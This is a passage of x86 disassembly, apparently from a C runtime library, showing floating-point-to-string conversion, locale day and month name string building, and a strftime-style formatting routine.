--------------------------------------------------------------------------- loc_42D87F: ; CODE XREF: sub_42D6C0+193j ; sub_42D6C0+199j push offset a1Qnan ; "1#QNAN" mov eax, [ebp+arg_14] add eax, 4 push eax call sub_419FA0 add esp, 8 mov ecx, [ebp+arg_14] mov byte ptr [ecx+3], 6 mov [ebp+var_58], 0 loc_42D8A1: ; CODE XREF: sub_42D6C0+147j ; sub_42D6C0+18Aj ... jmp loc_42DBCF ; --------------------------------------------------------------------------- loc_42D8A6: ; CODE XREF: sub_42D6C0+FBj mov edx, [ebp+var_70] and edx, 0FFFFh sar edx, 8 mov word ptr [ebp+var_6C], dx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 0FFh mov [ebp+var_C], ax mov ecx, [ebp+var_24] shr ecx, 18h mov word ptr [ebp+var_40], cx mov edx, [ebp+var_64] and edx, 0FFFFh mov eax, [ebp+var_70] and eax, 0FFFFh imul edx, eax mov ecx, [ebp+var_3C] and ecx, 0FFFFh mov eax, [ebp+var_6C] and eax, 0FFFFh imul ecx, eax add edx, ecx mov ecx, [ebp+var_60] and ecx, 0FFFFh mov eax, [ebp+var_40] and eax, 0FFFFh imul ecx, eax add edx, ecx sub edx, [ebp+var_20] mov [ebp+var_8], edx mov ecx, [ebp+var_8] sar ecx, 10h mov [ebp+var_5C], cx mov dx, word ptr [ebp+var_70] mov word ptr [ebp+var_2E], dx mov eax, [ebp+var_24] mov [ebp+var_32], eax mov ecx, [ebp+var_48] mov [ebp+var_38+2], ecx mov word ptr [ebp+var_38], 0 push 1 movsx edx, [ebp+var_5C] neg edx push edx lea eax, [ebp+var_38] push eax call sub_42FDD0 add esp, 0Ch mov ecx, [ebp+var_2E] and ecx, 0FFFFh cmp ecx, 3FFFh jl short loc_42D97D mov dx, [ebp+var_5C] add dx, 1 mov [ebp+var_5C], dx lea eax, [ebp+var_54] push eax lea ecx, [ebp+var_38] push ecx call sub_42F990 add esp, 8 loc_42D97D: ; CODE XREF: sub_42D6C0+29Fj mov edx, [ebp+arg_14] mov ax, [ebp+var_5C] mov [edx], ax mov ecx, [ebp+arg_10] and ecx, 1 test ecx, ecx jz short loc_42D9D1 movsx edx, [ebp+var_5C] mov eax, [ebp+arg_C] add eax, edx mov [ebp+arg_C], eax cmp [ebp+arg_C], 0 jg short loc_42D9D1 mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp loc_42DBD2 ; --------------------------------------------------------------------------- loc_42D9D1: ; CODE XREF: sub_42D6C0+2CFj ; sub_42D6C0+2E1j cmp [ebp+arg_C], 15h jle short loc_42D9DE mov [ebp+arg_C], 15h loc_42D9DE: ; CODE XREF: sub_42D6C0+315j mov eax, [ebp+var_2E] and eax, 0FFFFh sub eax, 3FFEh mov [ebp+var_2E+2], eax mov word ptr [ebp+var_2E], 0 mov [ebp+var_44], 0 jmp short loc_42DA06 ; --------------------------------------------------------------------------- loc_42D9FD: ; CODE XREF: sub_42D6C0+358j mov ecx, [ebp+var_44] add ecx, 1 mov [ebp+var_44], ecx loc_42DA06: ; CODE XREF: sub_42D6C0+33Bj cmp [ebp+var_44], 8 jge short loc_42DA1A lea edx, [ebp+var_38] push edx call sub_42C930 add esp, 4 jmp short loc_42D9FD ; --------------------------------------------------------------------------- loc_42DA1A: ; CODE XREF: sub_42D6C0+34Aj cmp [ebp+var_2E+2], 0 jge short loc_42DA4C mov eax, [ebp+var_2E+2] neg eax and eax, 0FFh mov [ebp+var_74], eax jmp short loc_42DA38 ; --------------------------------------------------------------------------- loc_42DA2F: ; CODE XREF: sub_42D6C0+38Aj mov ecx, [ebp+var_74] sub ecx, 1 mov [ebp+var_74], ecx loc_42DA38: ; CODE XREF: sub_42D6C0+36Dj cmp [ebp+var_74], 0 jle short loc_42DA4C lea edx, [ebp+var_38] push edx call sub_42C990 add esp, 4 jmp short loc_42DA2F ; --------------------------------------------------------------------------- loc_42DA4C: ; CODE XREF: sub_42D6C0+35Ej ; sub_42D6C0+37Cj mov eax, [ebp+arg_14] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_C] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_42DA69 ; --------------------------------------------------------------------------- loc_42DA60: ; CODE XREF: sub_42D6C0+413j mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx loc_42DA69: ; CODE XREF: sub_42D6C0+39Ej cmp [ebp+var_10], 0 jle short loc_42DAD5 mov eax, [ebp+var_38] mov [ebp+var_1C], eax mov ecx, [ebp-34h] mov [ebp+var_18], ecx mov edx, [ebp+var_32+2] mov [ebp+var_14], edx lea eax, [ebp+var_38] push eax call sub_42C930 add esp, 4 lea ecx, [ebp+var_38] push ecx call sub_42C930 add esp, 4 lea edx, [ebp+var_1C] push edx lea eax, [ebp+var_38] push eax call sub_42C880 add esp, 8 lea ecx, [ebp+var_38] push ecx call sub_42C930 add esp, 4 mov edx, [ebp+var_2E+1] and edx, 0FFh add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov byte ptr [ebp+var_2E+1], 0 jmp short loc_42DA60 ; --------------------------------------------------------------------------- loc_42DAD5: ; CODE XREF: sub_42D6C0+3ADj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov [ebp+var_28], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx movsx eax, [ebp+var_28] cmp eax, 35h jl short loc_42DB53 jmp short loc_42DB03 ; --------------------------------------------------------------------------- loc_42DAFA: ; CODE XREF: sub_42D6C0+45Fj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42DB03: ; CODE XREF: sub_42D6C0+438j mov edx, [ebp+arg_14] add edx, 4 cmp [ebp+var_4], edx jb short loc_42DB21 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_42DB21 mov edx, [ebp+var_4] mov byte ptr [edx], 30h jmp short loc_42DAFA ; --------------------------------------------------------------------------- loc_42DB21: ; CODE XREF: sub_42D6C0+44Cj ; sub_42D6C0+457j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_42DB45 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov ax, [edx] add ax, 1 mov ecx, [ebp+arg_14] mov [ecx], ax loc_42DB45: ; CODE XREF: sub_42D6C0+46Aj mov edx, [ebp+var_4] mov al, [edx] add al, 1 mov ecx, [ebp+var_4] mov [ecx], al jmp short loc_42DBAC ; --------------------------------------------------------------------------- loc_42DB53: ; CODE XREF: sub_42D6C0+436j jmp short loc_42DB5E ; --------------------------------------------------------------------------- loc_42DB55: ; CODE XREF: sub_42D6C0+4B4j mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42DB5E: ; CODE XREF: sub_42D6C0:loc_42DB53j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jb short loc_42DB76 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_42DB76 jmp short loc_42DB55 ; --------------------------------------------------------------------------- loc_42DB76: ; CODE XREF: sub_42D6C0+4A7j ; sub_42D6C0+4B2j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_42DBAC mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp short loc_42DBD2 ; --------------------------------------------------------------------------- loc_42DBAC: ; CODE XREF: sub_42D6C0+491j ; sub_42D6C0+4BFj mov eax, [ebp+arg_14] add eax, 4 mov ecx, [ebp+var_4] sub ecx, eax add ecx, 1 mov edx, [ebp+arg_14] mov [edx+3], cl mov eax, [ebp+arg_14] movsx ecx, byte ptr [eax+3] mov edx, [ebp+arg_14] mov byte ptr [edx+ecx+4], 0 loc_42DBCF: ; CODE XREF: sub_42D6C0:loc_42D8A1j mov eax, [ebp+var_58] loc_42DBD2: ; CODE XREF: sub_42D6C0+E7j ; sub_42D6C0+30Cj ... mov esp, ebp pop ebp retn sub_42D6C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_443FE4 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_42DC08 ; --------------------------------------------------------------------------- loc_42DBFF: ; CODE XREF: .text:0042DC3Fj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_42DC08: ; CODE XREF: .text:0042DBFDj cmp dword ptr [ebp-10h], 7 jnb short loc_42DC41 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_418E70 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_418E70 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_42DBFF ; --------------------------------------------------------------------------- loc_42DC41: ; CODE XREF: .text:0042DC0Cj mov eax, [ebp-8] add eax, 1 push eax call sub_416A10 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42DCF9 mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_42DC75 ; --------------------------------------------------------------------------- loc_42DC6C: ; CODE XREF: .text:0042DCE8j mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42DC75: ; CODE XREF: .text:0042DC6Aj cmp dword ptr [ebp-10h], 7 jnb short loc_42DCEA mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx mov edx, [ebp-14h] push edx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+1Ch] push eax mov ecx, [ebp-14h] push ecx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_42DC6C ; --------------------------------------------------------------------------- loc_42DCEA: ; CODE XREF: .text:0042DC79j mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_42DCF9: ; CODE XREF: .text:0042DC57j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_443FE4 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_42DD38 ; --------------------------------------------------------------------------- loc_42DD2F: ; CODE XREF: .text:0042DD70j mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_42DD38: ; CODE XREF: .text:0042DD2Dj cmp dword ptr [ebp-10h], 0Ch jnb short loc_42DD72 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx call sub_418E70 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+68h] push ecx call sub_418E70 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_42DD2F ; --------------------------------------------------------------------------- loc_42DD72: ; CODE XREF: .text:0042DD3Cj mov eax, [ebp-8] add eax, 1 push eax call sub_416A10 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42DE2B mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_42DDA6 ; --------------------------------------------------------------------------- loc_42DD9D: ; CODE XREF: .text:0042DE1Aj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42DDA6: ; CODE XREF: .text:0042DD9Bj cmp dword ptr [ebp-10h], 0Ch jnb short loc_42DE1C mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx mov edx, [ebp-14h] push edx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_42DD9D ; --------------------------------------------------------------------------- loc_42DE1C: ; CODE XREF: .text:0042DDAAj mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_42DE2B: ; CODE XREF: .text:0042DD88j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi mov eax, off_443FE4 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_42DE68 ; --------------------------------------------------------------------------- loc_42DE5F: ; CODE XREF: .text:0042DE9Fj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_42DE68: ; CODE XREF: .text:0042DE5Dj cmp dword ptr [ebp-10h], 7 jnb short loc_42DEA1 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_418E70 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_418E70 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_42DE5F ; --------------------------------------------------------------------------- loc_42DEA1: ; CODE XREF: .text:0042DE6Cj mov dword ptr [ebp-10h], 0 jmp short loc_42DEB3 ; --------------------------------------------------------------------------- loc_42DEAA: ; CODE XREF: .text:0042DEEBj mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_42DEB3: ; CODE XREF: .text:0042DEA8j cmp dword ptr [ebp-10h], 0Ch jnb short loc_42DEED mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax call sub_418E70 add esp, 4 mov esi, eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax call sub_418E70 add esp, 4 add eax, [ebp-8] lea ecx, [eax+esi+2] mov [ebp-8], ecx jmp short loc_42DEAA ; --------------------------------------------------------------------------- loc_42DEED: ; CODE XREF: .text:0042DEB7j mov edx, [ebp-0Ch] mov eax, [edx+98h] push eax call sub_418E70 add esp, 4 mov esi, eax mov ecx, [ebp-0Ch] mov edx, [ecx+9Ch] push edx call sub_418E70 add esp, 4 add eax, [ebp-8] lea eax, [eax+esi+2] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A0h] push edx call sub_418E70 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A4h] push ecx call sub_418E70 add esp, 4 mov edx, [ebp-8] lea eax, [edx+eax+1] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A8h] push edx call sub_418E70 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-8] add eax, 0ACh push eax call sub_416A10 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42E1A6 mov ecx, [ebp-4] mov [ebp-18h], ecx mov edx, [ebp-4] add edx, 0ACh mov [ebp-14h], edx push 0ACh mov eax, off_443FE4 push eax mov ecx, [ebp-4] push ecx call sub_418A00 add esp, 0Ch mov dword ptr [ebp-10h], 0 jmp short loc_42DFCA ; --------------------------------------------------------------------------- loc_42DFC1: ; CODE XREF: .text:0042E03Cj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42DFCA: ; CODE XREF: .text:0042DFBFj cmp dword ptr [ebp-10h], 7 jnb short loc_42E03E mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4] push edx mov eax, [ebp-14h] push eax call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4+1Ch], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4+1Ch] push edx mov eax, [ebp-14h] push eax call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx jmp short loc_42DFC1 ; --------------------------------------------------------------------------- loc_42E03E: ; CODE XREF: .text:0042DFCEj mov dword ptr [ebp-10h], 0 jmp short loc_42E050 ; --------------------------------------------------------------------------- loc_42E047: ; CODE XREF: .text:0042E0C4j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_42E050: ; CODE XREF: .text:0042E045j cmp dword ptr [ebp-10h], 0Ch jnb short loc_42E0C6 mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+38h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax mov ecx, [ebp-14h] push ecx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+68h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax jmp short loc_42E047 ; --------------------------------------------------------------------------- loc_42E0C6: ; CODE XREF: .text:0042E054j mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+98h], edx mov eax, [ebp-0Ch] mov ecx, [eax+98h] push ecx mov edx, [ebp-14h] push edx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+9Ch], ecx mov edx, [ebp-0Ch] mov eax, [edx+9Ch] push eax mov ecx, [ebp-14h] push ecx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A0h], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A0h] push ecx mov edx, [ebp-14h] push edx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+0A4h], ecx mov edx, [ebp-0Ch] mov eax, [edx+0A4h] push eax mov ecx, [ebp-14h] push ecx call sub_419FA0 add esp, 8 push eax call sub_418E70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A8h], edx loc_42E1A6: ; CODE XREF: .text:0042DF89j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42E1D0 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E1D0 proc near ; CODE XREF: .text:0042E1C5p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_10], 0 jnz short loc_42E1E6 mov eax, off_443FE4 mov [ebp+var_10], eax jmp short loc_42E1EC ; --------------------------------------------------------------------------- loc_42E1E6: ; CODE XREF: sub_42E1D0+Aj mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx loc_42E1EC: ; CODE XREF: sub_42E1D0+14j mov edx, [ebp+var_10] mov [ebp+var_4], edx mov eax, [ebp+arg_4] mov [ebp+var_C], eax push offset dword_49274C call ds:dword_494418 cmp dword_492748, 0 jz short loc_42E22A push offset dword_49274C call ds:dword_494414 push 13h call sub_41BC90 add esp, 4 mov [ebp+var_8], 1 jmp short loc_42E231 ; --------------------------------------------------------------------------- loc_42E22A: ; CODE XREF: sub_42E1D0+3Aj mov [ebp+var_8], 0 loc_42E231: ; CODE XREF: sub_42E1D0+58j ; sub_42E1D0:loc_42E31Dj cmp [ebp+var_C], 0 jbe loc_42E322 mov ecx, [ebp+arg_8] mov dl, [ecx] mov [ebp+var_14], dl cmp [ebp+var_14], 0 jz short loc_42E251 cmp [ebp+var_14], 25h jz short loc_42E256 jmp short loc_42E2B0 ; --------------------------------------------------------------------------- loc_42E251: ; CODE XREF: sub_42E1D0+77j jmp loc_42E322 ; --------------------------------------------------------------------------- loc_42E256: ; CODE XREF: sub_42E1D0+7Dj mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax mov dword_492410, 0 mov ecx, [ebp+arg_8] movsx edx, byte ptr [ecx] cmp edx, 23h jnz short loc_42E287 mov dword_492410, 1 mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42E287: ; CODE XREF: sub_42E1D0+A2j mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] mov al, [edx] push eax call sub_42E360 add esp, 14h mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_42E31D ; --------------------------------------------------------------------------- loc_42E2B0: ; CODE XREF: sub_42E1D0+7Fj mov edx, [ebp+arg_8] xor eax, eax mov al, [edx] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42E2F8 cmp [ebp+var_C], 1 jbe short loc_42E2F8 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_42E2F8: ; CODE XREF: sub_42E1D0+FBj ; sub_42E1D0+101j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_42E31D: ; CODE XREF: sub_42E1D0+DEj jmp loc_42E231 ; --------------------------------------------------------------------------- loc_42E322: ; CODE XREF: sub_42E1D0+65j ; sub_42E1D0:loc_42E251j cmp [ebp+var_8], 0 jz short loc_42E334 push 13h call sub_41BD30 add esp, 4 jmp short loc_42E33F ; --------------------------------------------------------------------------- loc_42E334: ; CODE XREF: sub_42E1D0+156j push offset dword_49274C call ds:dword_494414 loc_42E33F: ; CODE XREF: sub_42E1D0+162j cmp [ebp+var_C], 0 jbe short loc_42E353 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] jmp short loc_42E355 ; --------------------------------------------------------------------------- loc_42E353: ; CODE XREF: sub_42E1D0+173j xor eax, eax loc_42E355: ; CODE XREF: sub_42E1D0+181j mov esp, ebp pop ebp retn sub_42E1D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E360 proc near ; CODE XREF: sub_42E1D0+CDp ; sub_42EB30+3ECp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push esi movsx eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] sub ecx, 25h mov [ebp+var_C], ecx cmp [ebp+var_C], 55h ja loc_42E8C8 mov eax, [ebp+var_C] xor edx, edx mov dl, ds:byte_42E929[eax] jmp ds:off_42E8CD[edx*4] loc_42E393: ; DATA XREF: .text:0042E8FDo mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4] push eax call sub_42E980 add esp, 0Ch jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E3B5: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8D1o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+1Ch] push eax call sub_42E980 add esp, 0Ch jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E3D8: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E901o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+38h] push eax call sub_42E980 add esp, 0Ch jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E3FB: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8D5o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+68h] push eax call sub_42E980 add esp, 0Ch jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E41E: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E905o cmp dword_492410, 0 jz short loc_42E4A6 mov dword_492410, 0 mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A4h] push eax call sub_42EB30 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_42E460 jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E460: ; CODE XREF: sub_42E360+F9j mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_42EB30 add esp, 14h jmp short loc_42E519 ; --------------------------------------------------------------------------- loc_42E4A6: ; CODE XREF: sub_42E360+C5j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A0h] push eax call sub_42EB30 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_42E4D5 jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E4D5: ; CODE XREF: sub_42E360+16Ej mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov 